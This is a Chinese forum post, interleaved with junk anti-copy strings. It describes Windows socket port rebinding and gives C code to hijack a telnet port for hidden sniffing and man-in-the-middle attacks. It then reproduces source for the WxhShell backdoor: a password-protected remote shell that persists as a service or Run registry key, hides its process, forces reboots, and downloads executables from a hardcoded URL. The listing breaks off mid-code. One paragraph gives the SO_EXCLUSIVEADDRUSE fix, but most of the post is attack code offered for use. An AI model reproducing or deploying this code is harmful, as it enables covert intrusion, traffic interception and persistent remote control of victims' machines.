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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ob;$yn7ZO1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hiA%Tq?  
B<uUf)t  
  saddr.sin_family = AF_INET; H$n{|YO `  
C@[f Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :%vD hMHa  
75t5:>"[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9zK5Y+!  
SPK% ' s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W"L;8u  
,~,{$\p   
  这意味着什么?意味着可以进行如下的攻击: -& \?Q_6  
a8!/V@a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vT>ki0P_;  
7IH^5r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3[O;HS3|  
%o9;jX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /SDDCZ`;|c  
XT 'v7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w st)O{4  
ir*T ,O 2J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %.*?i9}  
n9Xssl0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Kn<z<>vO  
.TTXg,8#D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rG|*74Q]  
b!Z-HL6  
  #include ,| EaW& 2  
  #include "Gh?hU,WWZ  
  #include w %sHA  
  #include    tag~SG`ov  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #RwqEZ  
  int main() ?u]%T]W  
  { OAiip,  
  WORD wVersionRequested; g0BJj=  
  DWORD ret; )cX6o[oia  
  WSADATA wsaData; X3j<HQcK  
  BOOL val; j3`"9bY  
  SOCKADDR_IN saddr; 1"Z61gXrz  
  SOCKADDR_IN scaddr; 7Ed6o  
  int err; * -Kf  
  SOCKET s; {|~22UkF[V  
  SOCKET sc; Tv{X$`%  
  int caddsize; O1_dA%m  
  HANDLE mt; Jj$N3UCg7  
  DWORD tid;   ~ST7@-D0  
  wVersionRequested = MAKEWORD( 2, 2 ); >b.wk3g@>  
  err = WSAStartup( wVersionRequested, &wsaData ); 6mi: %)"  
  if ( err != 0 ) { [j :]YR  
  printf("error!WSAStartup failed!\n"); ?u9JRXj%  
  return -1; >=_Z\ wA  
  } P|Ojt I  
  saddr.sin_family = AF_INET; bQ" w%!  
   `/mcjKQ&9y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i YJzSVO  
do:3aP'S,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !?7c2QRN  
  saddr.sin_port = htons(23); _bO4s#yI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IW.~I,!x  
  { =A,6KY=E  
  printf("error!socket failed!\n"); D`bH_1X  
  return -1; u-a*fT  
  } n^Qt !~  
  val = TRUE; T*%Q s&x ;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A:3:Cr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9aE!! (E  
  { -nQ:RHnd  
  printf("error!setsockopt failed!\n"); d|9B3I*I  
  return -1; Lit@ m2{\  
  } 9(>l trA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xCOC5f5*@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CR-6}T   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QJaF6>m  
XD 8MF)$9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tp,e:4\ 8Q  
  { +([ iCL  
  ret=GetLastError(); CmNd0S4v  
  printf("error!bind failed!\n"); x*A_1_A  
  return -1; Ifm|_  
  } 'ju{j`b  
  listen(s,2); 0!c^pOq6  
  while(1) qe!\ oh  
  { B!=JRf T  
  caddsize = sizeof(scaddr); u*ZRU 4 U  
  //接受连接请求 *jps}uk<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vn`-w  
  if(sc!=INVALID_SOCKET) etEm#3  
  { {:VUu?5-t;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); szY=N7\S*  
  if(mt==NULL) S[bFS7[  
  { j#TtY|Po  
  printf("Thread Creat Failed!\n"); +K3SAGm  
  break; 1%YjY"j+  
  } 3@r_t|j  
  } Khbkv  
  CloseHandle(mt); ab1qcQ<  
  } EPQ~V  
  closesocket(s); R(c:#KF#8  
  WSACleanup(); d85\GEF9i  
  return 0; r?s,  
  }   8\BCC1K  
  DWORD WINAPI ClientThread(LPVOID lpParam) `3Gjj&c  
  { ,1"w2,=  
  SOCKET ss = (SOCKET)lpParam; '[ZRWwhr  
  SOCKET sc; :RsO $@0G  
  unsigned char buf[4096]; l@8UL</W  
  SOCKADDR_IN saddr; X`dd"8%  
  long num; |=7ouFl  
  DWORD val; 2l)J,z  
  DWORD ret; (LW4z8e#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0ivlKe%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %=:*yf>}  
  saddr.sin_family = AF_INET; / -ebx~FX&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (GVH#}uB  
  saddr.sin_port = htons(23); =|lKB;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NzmVQ-4  
  { km; M!}D  
  printf("error!socket failed!\n"); ?NZKu6  
  return -1; P&@:''  
  } }*{@-v|_R  
  val = 100; "#4p#dM0e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D{&0r.2F  
  { 8#OcrJzC  
  ret = GetLastError(); ~:Jw2 P2z  
  return -1; D@V1}/$UoN  
  } @_tQ:U,v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xS) njuq4  
  { }t tiL  
  ret = GetLastError(); | fMjg'%{}  
  return -1; c5K@<=?,E  
  } =_%i5]89P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D}SYv})Ti  
  { EK^B=)q6:W  
  printf("error!socket connect failed!\n"); 7q&//*%yF  
  closesocket(sc); 9]AiaV9  
  closesocket(ss); biCX: m+_?  
  return -1; i,Yq oe`  
  } _c=[P@  
  while(1) qRg^Bp'VD#  
  { <_HK@E<_HO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gO*:< B g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pu(a&0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 03ol!|X "9  
  num = recv(ss,buf,4096,0); as1ZLfN.  
  if(num>0) yub|   
  send(sc,buf,num,0); D|W^PR:@h  
  else if(num==0) oT7=  
  break; $2uZdl8Rvj  
  num = recv(sc,buf,4096,0);  >:whNp  
  if(num>0) "HRoS#|\  
  send(ss,buf,num,0); HH>"J /;c,  
  else if(num==0) <#U9ih 2  
  break; ,6,sz]3-  
  } 3/P# 2&jt  
  closesocket(ss); z~TG~_s  
  closesocket(sc); ;P9P2&c8c  
  return 0 ; KdT1Nb=  
  } MP|J 0=H5  
(9_~R^='y  
cqzd9L6=  
========================================================== ~f&lQN'1  
OI3UC=G  
下边附上一个代码,,WXhSHELL 0n25{N  
0f.rjd  
========================================================== u~#QvA~]  
Y$0Y_fm%  
#include "stdafx.h" yUb$EMo \  
cPh U q ET  
#include <stdio.h> H6ff b)&  
#include <string.h> )D ^.{70N  
#include <windows.h> XeD9RMT  
#include <winsock2.h> q2* G86  
#include <winsvc.h> @1#QbNp#  
#include <urlmon.h> jseyT#2  
S/}6AX#F4  
#pragma comment (lib, "Ws2_32.lib") :DP%>H|  
#pragma comment (lib, "urlmon.lib") B3V:?#  
o8+ZgXct  
#define MAX_USER   100 // 最大客户端连接数 t?NB#/#%x  
#define BUF_SOCK   200 // sock buffer 0GR\iw$[J  
#define KEY_BUFF   255 // 输入 buffer Mg H,"G  
(?SK< 4!  
#define REBOOT     0   // 重启 !r:X`~\a  
#define SHUTDOWN   1   // 关机 +*2wGAT  
o9)pOwk7;  
#define DEF_PORT   5000 // 监听端口 Y>KRI2](<  
-!uut7Z|  
#define REG_LEN     16   // 注册表键长度 YNc] x>  
#define SVC_LEN     80   // NT服务名长度 P+iZ5S\kL=  
8(R%?> 8  
// 从dll定义API ueO&%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {C>.fg%t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7Y$#* 7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W2L:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D9H(kk  
TrxZS_  
// wxhshell配置信息 j4wcxZYY~  
struct WSCFG { c\i`=>%b@  
  int ws_port;         // 监听端口 #J. v[bOWQ  
  char ws_passstr[REG_LEN]; // 口令 h^F^|WT$  
  int ws_autoins;       // 安装标记, 1=yes 0=no M_tY:v  
  char ws_regname[REG_LEN]; // 注册表键名 ^,L vQW4  
  char ws_svcname[REG_LEN]; // 服务名 H"|xG;cf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 82% ~WQnS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #s JE{Tb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p[BF4h{E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kt8P\/~*i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V[-4cu,Ph^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^06f\7A  
w9I7pIIl  
}; IYm~pXg^0  
TRwlUC3hQ  
// default Wxhshell configuration B .p&,K  
struct WSCFG wscfg={DEF_PORT,  laX(?{_  
    "xuhuanlingzhe", NG-Wn+W@b  
    1, fY@Y$S`Fh  
    "Wxhshell", `}:q@: %  
    "Wxhshell", cstSLXD  
            "WxhShell Service", ,1'9l)zP  
    "Wrsky Windows CmdShell Service", 5t]}(.0+  
    "Please Input Your Password: ", +TW9BU'a^  
  1, ta]B9&c  
  "http://www.wrsky.com/wxhshell.exe", Ov1$7 r@  
  "Wxhshell.exe" /0Q=}:d  
    }; y,&UST  
9] /xAsD  
// 消息定义模块 h^klP:Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a.+2h%b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0z) 8i P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O)nLV~X  
char *msg_ws_ext="\n\rExit."; Js7(TFQE  
char *msg_ws_end="\n\rQuit."; aEr<(x !|"  
char *msg_ws_boot="\n\rReboot..."; ji(W+tQ2Y'  
char *msg_ws_poff="\n\rShutdown..."; 6~8A$:  
char *msg_ws_down="\n\rSave to "; 1{N73]-M:  
Wx#((T  
char *msg_ws_err="\n\rErr!"; < aeBhg%  
char *msg_ws_ok="\n\rOK!"; q[4{Xh  
\F]X!#&+  
char ExeFile[MAX_PATH]; )(~s-x^\z@  
int nUser = 0; \u@4 eBAV  
HANDLE handles[MAX_USER]; ]H8CVue  
int OsIsNt; d (Ufj|;  
yidUtSv=,  
SERVICE_STATUS       serviceStatus; Az4+([  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b_= $W  
&7* |rshZ  
// 函数声明 `>CHE'_  
int Install(void); [+0rlmB  
int Uninstall(void); "&jA CI  
int DownloadFile(char *sURL, SOCKET wsh); mG4myQ?$  
int Boot(int flag); (.Hiee43  
void HideProc(void); ,KvF:xqA  
int GetOsVer(void); x`8rR;N!  
int Wxhshell(SOCKET wsl); aty"6~  
void TalkWithClient(void *cs); 5/j7C>  
int CmdShell(SOCKET sock); D=}UKd  
int StartFromService(void); c$?(zt ;  
int StartWxhshell(LPSTR lpCmdLine); X`km\\*  
f%n],tE6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _@I8B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4;anoqiG\  
0TA{E-A   
// 数据结构和表定义 om%L>zfB  
SERVICE_TABLE_ENTRY DispatchTable[] = ^Rr0)4ns  
{ ,|hM`<"?  
{wscfg.ws_svcname, NTServiceMain}, ,ra!O=d~0  
{NULL, NULL} eELJDSd BV  
}; ~`'!nzP5H  
x] [/9e  
// 自我安装 u6o:~=WwM  
int Install(void) RlH|G  
{ uC{qaMQ  
  char svExeFile[MAX_PATH]; JCoDe.  
  HKEY key; VOc_7q_=  
  strcpy(svExeFile,ExeFile); P:GAJ->;]>  
{)j~5m.,/o  
// 如果是win9x系统,修改注册表设为自启动 Oax*3TD  
if(!OsIsNt) { 2xBIfmR^y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2=Sv#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V~j:!=b%v  
  RegCloseKey(key); ,&>LBdG`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %LBa;M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VO#x+u]/  
  RegCloseKey(key); D$C>ZF  
  return 0; +"8 [E~Bih  
    } )!+M\fT  
  } P%?|V _m  
} z~[:@mGl  
else { 4.7 YIM  
m80e^  
// 如果是NT以上系统,安装为系统服务 G-`4TQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y~ j.Kt  
if (schSCManager!=0) (Fc\*Vn  
{ 2$=U#!OtU  
  SC_HANDLE schService = CreateService *v1M^grKd  
  ( 2aQR#lcv  
  schSCManager, yW::`  
  wscfg.ws_svcname, j8k5B"  
  wscfg.ws_svcdisp, >b2j j+8  
  SERVICE_ALL_ACCESS, 12 y=Eh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dq=&K,5;  
  SERVICE_AUTO_START, bI~ R6o  
  SERVICE_ERROR_NORMAL, WZz8VF  
  svExeFile, ^PwZP;On  
  NULL, #_]/Mr1  
  NULL, @qP uYFnw  
  NULL, N?cvQR{r9  
  NULL, P2y`d9,Q  
  NULL Yj%hgb:)  
  ); DK' ? '  
  if (schService!=0) ?:@13wm  
  { |wF_CZ*1  
  CloseServiceHandle(schService); #2*l"3.$.R  
  CloseServiceHandle(schSCManager); P2HR4`c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;U7o)A;  
  strcat(svExeFile,wscfg.ws_svcname); *nb `DR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W5C8$Bqm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {wUbr^  
  RegCloseKey(key); BE,XiH;  
  return 0; ?`9XFE~a!  
    } m\9R;$ \  
  } yV{&x  
  CloseServiceHandle(schSCManager); G]Rb{v,r  
} _+c' z  
} gcS ?r :  
nV/8u_  
return 1; zKRt\;PW  
} Ew`(x30E  
r~mZ?dI  
// 自我卸载 ;<=Z\NX  
int Uninstall(void) @bPR"j5D  
{ /j7e q  
  HKEY key; 4:umD*d 3E  
hw2'.}B"(  
if(!OsIsNt) { 6I)[6R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0tA~Y26  
  RegDeleteValue(key,wscfg.ws_regname); b2L9%8h  
  RegCloseKey(key); @#HB6B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9jwcO)p^  
  RegDeleteValue(key,wscfg.ws_regname); uD'yzR!]+  
  RegCloseKey(key); .bdp=vbA  
  return 0; xIt'o(jQH  
  } Y-Iu&H+\  
} }kJfTsFS  
} n ~c<[  
else { E[Xqyp!<  
&,v- AL$:Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E6 g]EE  
if (schSCManager!=0) o!6~tO=%  
{ }%8 :8_Ke  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @= E~`  
  if (schService!=0) E[$"~|7|$  
  { e>F i  
  if(DeleteService(schService)!=0) { g`7C1&U*T  
  CloseServiceHandle(schService); QoLp$1O (y  
  CloseServiceHandle(schSCManager); ?L K n  
  return 0; o7gYj\  
  } w\V1pu^6@  
  CloseServiceHandle(schService); ,=_)tX^  
  } e>$d*~mwn  
  CloseServiceHandle(schSCManager); vR"?XqgZ  
} $7bLw)7  
} W D/\f$4  
7pllzy  
return 1; s=S9y7i(R  
} Zr(4Q9fDo  
(M0"I1g|w  
// 从指定url下载文件 `i!BXOOV{  
int DownloadFile(char *sURL, SOCKET wsh) z6IOVQ*r  
{ [Sr^CY P(  
  HRESULT hr; ?g{--'L  
char seps[]= "/"; A&?8 rc  
char *token; K20,aWBq;3  
char *file; rt rPRR\:"  
char myURL[MAX_PATH]; Sb4^* $uz  
char myFILE[MAX_PATH]; 0sMNp  
hD> ]\u  
strcpy(myURL,sURL); 0Cg}yyOz  
  token=strtok(myURL,seps); t]3> X  
  while(token!=NULL) 7$"A2x   
  { "*U0xnI  
    file=token; hqXp>.W  
  token=strtok(NULL,seps); &nV/XLpG  
  } lQS(\}N  
^cUmLzM  
GetCurrentDirectory(MAX_PATH,myFILE); "h@=O c  
strcat(myFILE, "\\"); *&vlfH  
strcat(myFILE, file); 1 5heLnei  
  send(wsh,myFILE,strlen(myFILE),0); ._E 6?  
send(wsh,"...",3,0); =,B Dd$e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X!b+Dk  
  if(hr==S_OK) 0dTHF})m  
return 0; qix$ }(P  
else lGlh/B%  
return 1; 'iM#iA8  
"L0Q"t:  
} (U{,D1?  
Z5j\ M  
// 系统电源模块 [S~/lm  
int Boot(int flag) t!8(IR  
{ +TZVx(Z&A  
  HANDLE hToken; Af" p:;^z  
  TOKEN_PRIVILEGES tkp; \?D~&d,a=  
oW5Ov  
  if(OsIsNt) { 70GwTK.{~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "u.'JE;j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I[6ft_*  
    tkp.PrivilegeCount = 1; HUFm@?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =Lh8#>T\h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {e+}jZ[L  
if(flag==REBOOT) { |EGC1x]j=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rNK<p3=7)  
  return 0; }PXtwp13&u  
} bA-/"'Vp9  
else { KqL+R$??"(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S.zY0  
  return 0; @tX8M[.eA  
} DL*&e|:q  
  } 3v91yMx  
  else { .rw a=IW  
if(flag==REBOOT) { o5E5s9n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GI<3L K\  
  return 0; aD&4C -,1  
} BvLC%  
else { ^, &'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /HE{8b7n3F  
  return 0; N79?s)l:K  
} 3Q#Tut  
} h+c9FN  
i*]$_\yl"  
return 1; dEI]|i r  
} xrZzfg  
M?d(-en  
// win9x进程隐藏模块 }Ip1|Gj  
void HideProc(void) o(gV;>I  
{ h3[x ZJO  
~<Z7\yS)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .T1n"TfsGO  
  if ( hKernel != NULL ) )GKY#O09x9  
  { [k]3#<sS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); czLY+I;V3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pkE4"M!3=  
    FreeLibrary(hKernel); UL.YDU)  
  } AZE  
DC~1}|B"  
return; T8BewO=}  
} [#SiwhF|  
1{<r~  
// 获取操作系统版本 ":_~(?1+  
int GetOsVer(void) )zydD=,bu  
{ \>tx:;D3  
  OSVERSIONINFO winfo; C)mR~Ey  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KTE X]  
  GetVersionEx(&winfo); V6bjVd9|Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )*L=$0R  
  return 1; O'{g{  
  else J)EL<K$Z[  
  return 0; YmwXA e:  
} O|nLIfT  
)!lx'>0>  
// 客户端句柄模块 pupt__NZ)n  
int Wxhshell(SOCKET wsl) pE {yVs  
{ 4$y P_3  
  SOCKET wsh; Yy{(XBJ~%t  
  struct sockaddr_in client; KRM:h`+-.-  
  DWORD myID; n#5S-z1KNw  
F@b=S0}K  
  while(nUser<MAX_USER) n}dLfg *  
{ $T6+6<  
  int nSize=sizeof(client); )SHB1U25{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ! mZWd'  
  if(wsh==INVALID_SOCKET) return 1; t 2,?+q$x  
e8eNef L$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZUakW3f  
if(handles[nUser]==0) oL7F^34;  
  closesocket(wsh); y7Nd3\v [\  
else ]wUH*\(y  
  nUser++; mgTzwE_\  
  } MnP+L'|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B2Kh~Xd  
%R<xe.X  
  return 0; */OKg;IMi  
} bZ#5\L2  
6MpV ,2:>  
// 关闭 socket q8}he~a  
void CloseIt(SOCKET wsh) nwVW'M]r  
{ 4>Y*owa4  
closesocket(wsh); Nj.;mr<  
nUser--; zJ_y"bt  
ExitThread(0); SPp|/ [i7  
} _h I81Lzq  
LvMA('4  
// 客户端请求句柄 {TvB3QOsj  
void TalkWithClient(void *cs) ovZ!}  
{ )|GYxG;8C  
~|S}$|Mi50  
  SOCKET wsh=(SOCKET)cs; m:c0S8#:  
  char pwd[SVC_LEN]; ?1**@E0  
  char cmd[KEY_BUFF]; 'A9Z ((  
char chr[1]; >IipWTVo<  
int i,j; lHFk~Qp[  
T@Z-;^aV  
  while (nUser < MAX_USER) { RWFvf   
|'j,|^<  
if(wscfg.ws_passstr) { }nptmc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ('2Z&5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J$d']%Dwb  
  //ZeroMemory(pwd,KEY_BUFF); !AG {`[b  
      i=0; f VJWW):  
  while(i<SVC_LEN) { "8L v  
A6 RwLX  
  // 设置超时 R+El/ya:6  
  fd_set FdRead; k~?5mUyK<  
  struct timeval TimeOut; Yq'D-$@  
  FD_ZERO(&FdRead); +p$lVnAt  
  FD_SET(wsh,&FdRead); 4HpKKhv"  
  TimeOut.tv_sec=8; T!i$nI&  
  TimeOut.tv_usec=0; 03.\!rZZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $}fY B/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mNsd&Rk'  
aMGyV"6(-6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F\jawoO9  
  pwd=chr[0]; ,20l` :  
  if(chr[0]==0xd || chr[0]==0xa) { viJP6fh  
  pwd=0; i.^:xZ  
  break; &UNQ4-s  
  } EMDYeXpV  
  i++; K)^8 :nt  
    } ff]fN:}V  
r[wjE`Z/T  
  // 如果是非法用户,关闭 socket !3{;oU%*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _M^^0kf  
} [c XSk  
j<k-w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [ P,gEYk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y#= j{  
FV{XPr%   
while(1) { Y ` Z,52  
8T[<&<^-  
  ZeroMemory(cmd,KEY_BUFF); Cu_-QE  
n(i/jW~0w  
      // 自动支持客户端 telnet标准   rM? J40&.  
  j=0; M@Ti$=  
  while(j<KEY_BUFF) { v57<b&p26  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F3t IJz>3  
  cmd[j]=chr[0]; Qkw?Q V-`k  
  if(chr[0]==0xa || chr[0]==0xd) { k9;t3-P  
  cmd[j]=0; %j2$ ezud  
  break; 3#Iq5vT  
  } nFWiS~(#sW  
  j++; de;CEm<n  
    } 2qQ;U?:q  
!N!AO(Z  
  // 下载文件 )Cat$)I#,  
  if(strstr(cmd,"http://")) { 13*S<\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D]5j?X'  
  if(DownloadFile(cmd,wsh)) x&r f]R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?6HnN0A)  
  else IVVX3RI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >nvnU`\  
  } *!j!o%MB  
  else { J/3$I  
skU }BUK6  
    switch(cmd[0]) { ]u:_r)T  
  64vj6 &L  
  // 帮助 Ktu~%)k%  
  case '?': { nPDoK!r'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -<sW`HpD'  
    break; yYP>3]z  
  } 7u rD  
  // 安装 C XNYWx  
  case 'i': { -w f>N:  
    if(Install()) MTq/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU(-R@["  
    else l%p,m [  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m77 !i>V)  
    break; G:@1.H`  
    } m#-&<=  
  // 卸载 7- C])9  
  case 'r': { $sUn'62JlU  
    if(Uninstall()) x 0#u2j?zj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9p1@Lfbj  
    else >&k`NXS|V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B79~-,Yh  
    break; KXpbee  
    } o,S(;6pDJ  
  // 显示 wxhshell 所在路径 _^`V0>Mh:  
  case 'p': { PS=q):R|  
    char svExeFile[MAX_PATH]; z`NJelcuz\  
    strcpy(svExeFile,"\n\r"); Z3=N= xY]  
      strcat(svExeFile,ExeFile); V-E 77u6{0  
        send(wsh,svExeFile,strlen(svExeFile),0); S <-5<Pg  
    break; Mvp|S.  
    } jc\y{I\  
  // 重启 /5Vv5d/Z4!  
  case 'b': { Z@%A(nZ_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C\OZs%]At  
    if(Boot(REBOOT)) Se37-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W}%"xy]N  
    else { k+J63+obd  
    closesocket(wsh); TA qX f_  
    ExitThread(0); l?YO!$  
    } NciIqF  
    break; u:6R|%1fNn  
    } kP5G}Bp  
  // 关机 W$`#X  
  case 'd': { $o9@ ?2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [LUqF?K&  
